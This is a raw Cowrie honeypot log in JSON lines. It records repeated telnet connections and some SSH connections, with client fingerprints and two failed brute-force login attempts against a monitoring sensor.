{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":60584,"dst_ip":"10.17.0.5","dst_port":23,"session":"1942e485531a","protocol":"telnet","message":"New connection: 216.158.234.238:60584 (10.17.0.5:23) [session: 1942e485531a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:44.106776Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":60914,"dst_ip":"10.17.0.5","dst_port":23,"session":"5761a5e338ee","protocol":"telnet","message":"New connection: 216.158.234.238:60914 (10.17.0.5:23) [session: 5761a5e338ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:44.665084Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33094,"dst_ip":"10.17.0.5","dst_port":23,"session":"21e9a9fc6156","protocol":"telnet","message":"New connection: 216.158.234.238:33094 (10.17.0.5:23) [session: 21e9a9fc6156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:45.102531Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33112,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa739434aac0","protocol":"telnet","message":"New connection: 216.158.234.238:33112 (10.17.0.5:23) [session: fa739434aac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:45.159768Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33300,"dst_ip":"10.17.0.5","dst_port":23,"session":"98410a8d1e3f","protocol":"telnet","message":"New connection: 216.158.234.238:33300 (10.17.0.5:23) [session: 98410a8d1e3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:45.487041Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33326,"dst_ip":"10.17.0.5","dst_port":23,"session":"238d2106096f","protocol":"telnet","message":"New connection: 216.158.234.238:33326 (10.17.0.5:23) [session: 238d2106096f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:45.518715Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33422,"dst_ip":"10.17.0.5","dst_port":23,"session":"690a0ac668ab","protocol":"telnet","message":"New connection: 216.158.234.238:33422 (10.17.0.5:23) [session: 690a0ac668ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:45.594592Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":33636,"dst_ip":"10.17.0.5","dst_port":23,"session":"00d9c9520859","protocol":"telnet","message":"New connection: 216.158.234.238:33636 (10.17.0.5:23) [session: 00d9c9520859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:45.759171Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":34096,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7fd28b2d214","protocol":"telnet","message":"New connection: 216.158.234.238:34096 (10.17.0.5:23) [session: b7fd28b2d214]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:46.093760Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":34434,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e3f3ae2d82b","protocol":"telnet","message":"New connection: 216.158.234.238:34434 (10.17.0.5:23) [session: 2e3f3ae2d82b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:46.562670Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":35040,"dst_ip":"10.17.0.5","dst_port":23,"session":"0370adef2ce8","protocol":"telnet","message":"New connection: 216.158.234.238:35040 (10.17.0.5:23) [session: 0370adef2ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:47.051944Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":35098,"dst_ip":"10.17.0.5","dst_port":23,"session":"7934517b28e0","protocol":"telnet","message":"New connection: 216.158.234.238:35098 (10.17.0.5:23) [session: 7934517b28e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:47.263454Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":35166,"dst_ip":"10.17.0.5","dst_port":23,"session":"6177ed01ec24","protocol":"telnet","message":"New connection: 216.158.234.238:35166 (10.17.0.5:23) [session: 6177ed01ec24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:47.403018Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":36546,"dst_ip":"10.17.0.5","dst_port":23,"session":"2154897b9ae5","protocol":"telnet","message":"New connection: 216.158.234.238:36546 (10.17.0.5:23) [session: 2154897b9ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:48.550395Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":36872,"dst_ip":"10.17.0.5","dst_port":23,"session":"85202f22b5d4","protocol":"telnet","message":"New connection: 216.158.234.238:36872 (10.17.0.5:23) [session: 85202f22b5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:48.756809Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":37364,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a9b7c95b8e4","protocol":"telnet","message":"New connection: 216.158.234.238:37364 (10.17.0.5:23) [session: 3a9b7c95b8e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:49.187702Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":37768,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3f47612dc4a","protocol":"telnet","message":"New connection: 216.158.234.238:37768 (10.17.0.5:23) [session: e3f47612dc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:49.797476Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":38034,"dst_ip":"10.17.0.5","dst_port":23,"session":"d14638ac67ce","protocol":"telnet","message":"New connection: 216.158.234.238:38034 (10.17.0.5:23) [session: d14638ac67ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:49.925198Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":38138,"dst_ip":"10.17.0.5","dst_port":23,"session":"15b5061e40ad","protocol":"telnet","message":"New connection: 216.158.234.238:38138 (10.17.0.5:23) [session: 15b5061e40ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:49.954616Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58234,"dst_ip":"159.203.135.109","dst_port":22,"session":"d8ba3ed2a6d1","protocol":"ssh","message":"New connection: 159.203.92.129:58234 (159.203.135.109:22) [session: d8ba3ed2a6d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:51.706997Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:51.711762Z","src_ip":"159.203.92.129","session":"d8ba3ed2a6d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:51.716348Z","src_ip":"159.203.92.129","session":"d8ba3ed2a6d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"rootroot1234","message":"login attempt [administrator/rootroot1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:51.730121Z","src_ip":"159.203.92.129","session":"d8ba3ed2a6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":40788,"dst_ip":"10.17.0.5","dst_port":23,"session":"a883aa56f5f4","protocol":"telnet","message":"New connection: 216.158.234.238:40788 (10.17.0.5:23) [session: a883aa56f5f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:52.078240Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":41070,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d6ceeecdbe","protocol":"telnet","message":"New connection: 216.158.234.238:41070 (10.17.0.5:23) [session: a0d6ceeecdbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:52.633515Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:52.735629Z","src_ip":"159.203.92.129","session":"d8ba3ed2a6d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":41498,"dst_ip":"10.17.0.5","dst_port":23,"session":"f78e682e4e47","protocol":"telnet","message":"New connection: 216.158.234.238:41498 (10.17.0.5:23) [session: f78e682e4e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:53.166267Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":41536,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd31525f5361","protocol":"telnet","message":"New connection: 216.158.234.238:41536 (10.17.0.5:23) [session: bd31525f5361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:53.201196Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":41608,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c19bdcffd76","protocol":"telnet","message":"New connection: 216.158.234.238:41608 (10.17.0.5:23) [session: 8c19bdcffd76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:53.301715Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":41742,"dst_ip":"10.17.0.5","dst_port":23,"session":"b582d45e15d9","protocol":"telnet","message":"New connection: 216.158.234.238:41742 (10.17.0.5:23) [session: b582d45e15d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:53.436228Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":42096,"dst_ip":"10.17.0.5","dst_port":23,"session":"629272239b5d","protocol":"telnet","message":"New connection: 216.158.234.238:42096 (10.17.0.5:23) [session: 629272239b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:53.704543Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":42828,"dst_ip":"10.17.0.5","dst_port":23,"session":"133bc042fad7","protocol":"telnet","message":"New connection: 216.158.234.238:42828 (10.17.0.5:23) [session: 133bc042fad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:54.525090Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":43380,"dst_ip":"10.17.0.5","dst_port":23,"session":"9de2f2285c4e","protocol":"telnet","message":"New connection: 216.158.234.238:43380 (10.17.0.5:23) [session: 9de2f2285c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:55.057103Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.142.250.154","src_port":56568,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad2696f250b6","protocol":"telnet","message":"New connection: 98.142.250.154:56568 (10.17.0.5:23) [session: ad2696f250b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:55.253358Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":44170,"dst_ip":"10.17.0.5","dst_port":23,"session":"87cccf017bbb","protocol":"telnet","message":"New connection: 216.158.234.238:44170 (10.17.0.5:23) [session: 87cccf017bbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:56.225884Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":44200,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dcd335b2572","protocol":"telnet","message":"New connection: 216.158.234.238:44200 (10.17.0.5:23) [session: 3dcd335b2572]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:56.270431Z"}
{"eventid":"cowrie.session.closed","duration":30.159714460372925,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:59.071696Z","src_ip":"98.142.250.154","session":"dbaa0ada9ac8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":47312,"dst_ip":"10.17.0.5","dst_port":23,"session":"e35a317b3ad3","protocol":"telnet","message":"New connection: 216.158.234.238:47312 (10.17.0.5:23) [session: e35a317b3ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:06:59.245355Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":48030,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd60535ffd55","protocol":"telnet","message":"New connection: 216.158.234.238:48030 (10.17.0.5:23) [session: fd60535ffd55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:00.097696Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":48728,"dst_ip":"10.17.0.5","dst_port":23,"session":"f58fad056767","protocol":"telnet","message":"New connection: 216.158.234.238:48728 (10.17.0.5:23) [session: f58fad056767]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:00.796652Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":48754,"dst_ip":"10.17.0.5","dst_port":23,"session":"d28d2a86d50a","protocol":"telnet","message":"New connection: 216.158.234.238:48754 (10.17.0.5:23) [session: d28d2a86d50a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:00.806883Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":49378,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb5d58dd50c","protocol":"telnet","message":"New connection: 216.158.234.238:49378 (10.17.0.5:23) [session: 0cb5d58dd50c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:01.406413Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":51602,"dst_ip":"10.17.0.5","dst_port":23,"session":"717ee8dc033a","protocol":"telnet","message":"New connection: 216.158.234.238:51602 (10.17.0.5:23) [session: 717ee8dc033a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:03.571914Z"}
{"eventid":"cowrie.session.closed","duration":30.989814043045044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:05.096214Z","src_ip":"98.142.250.154","session":"15375acc00f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":53030,"dst_ip":"10.17.0.5","dst_port":23,"session":"0af21d9a265e","protocol":"telnet","message":"New connection: 216.158.234.238:53030 (10.17.0.5:23) [session: 0af21d9a265e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:05.284194Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":53938,"dst_ip":"10.17.0.5","dst_port":23,"session":"128e15cc61e2","protocol":"telnet","message":"New connection: 216.158.234.238:53938 (10.17.0.5:23) [session: 128e15cc61e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:06.624252Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55034,"dst_ip":"10.17.0.5","dst_port":23,"session":"04c5c858de3a","protocol":"telnet","message":"New connection: 216.158.234.238:55034 (10.17.0.5:23) [session: 04c5c858de3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:07.809085Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55128,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d7f9cfb537e","protocol":"telnet","message":"New connection: 216.158.234.238:55128 (10.17.0.5:23) [session: 4d7f9cfb537e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:07.884725Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55462,"dst_ip":"10.17.0.5","dst_port":23,"session":"537773c0b0a1","protocol":"telnet","message":"New connection: 216.158.234.238:55462 (10.17.0.5:23) [session: 537773c0b0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:08.314202Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":55696,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c83d9fcece6","protocol":"telnet","message":"New connection: 216.158.234.238:55696 (10.17.0.5:23) [session: 8c83d9fcece6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:08.680238Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.232.73.84","src_port":42704,"dst_ip":"159.203.135.109","dst_port":22,"session":"832537250957","protocol":"ssh","message":"New connection: 45.232.73.84:42704 (159.203.135.109:22) [session: 832537250957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.038490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.045473Z","src_ip":"45.232.73.84","session":"832537250957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.849533557891846,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.050548Z","src_ip":"98.142.250.154","session":"b11bd6dfab41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83916711807251,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.073581Z","src_ip":"98.142.250.154","session":"3570238e7f13","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.170718Z","src_ip":"45.232.73.84","session":"832537250957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":56210,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dbad126affd","protocol":"telnet","message":"New connection: 216.158.234.238:56210 (10.17.0.5:23) [session: 1dbad126affd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.242605Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":56340,"dst_ip":"10.17.0.5","dst_port":23,"session":"c60e0732dc0d","protocol":"telnet","message":"New connection: 216.158.234.238:56340 (10.17.0.5:23) [session: c60e0732dc0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.443737Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test!123","message":"login attempt [root/test!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:09.709815Z","src_ip":"45.232.73.84","session":"832537250957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:10.838810Z","src_ip":"45.232.73.84","session":"832537250957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":58328,"dst_ip":"10.17.0.5","dst_port":23,"session":"06dbf0a63740","protocol":"telnet","message":"New connection: 216.158.234.238:58328 (10.17.0.5:23) [session: 06dbf0a63740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:11.516530Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":58726,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf73236329c8","protocol":"telnet","message":"New connection: 216.158.234.238:58726 (10.17.0.5:23) [session: bf73236329c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:11.825048Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59076,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2a16890df47","protocol":"telnet","message":"New connection: 216.158.234.238:59076 (10.17.0.5:23) [session: c2a16890df47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:12.110178Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59338,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddf2147e665e","protocol":"telnet","message":"New connection: 216.158.234.238:59338 (10.17.0.5:23) [session: ddf2147e665e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:12.405580Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.158.234.238","src_port":59934,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d9667681add","protocol":"telnet","message":"New connection: 216.158.234.238:59934 (10.17.0.5:23) [session: 8d9667681add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:12.908026Z"}
{"eventid":"cowrie.session.closed","duration":30.909257650375366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T21:07:13.044062Z","src_ip":"98.142.250.154","session":"ba94a649efcf","protocol":"telnet"}
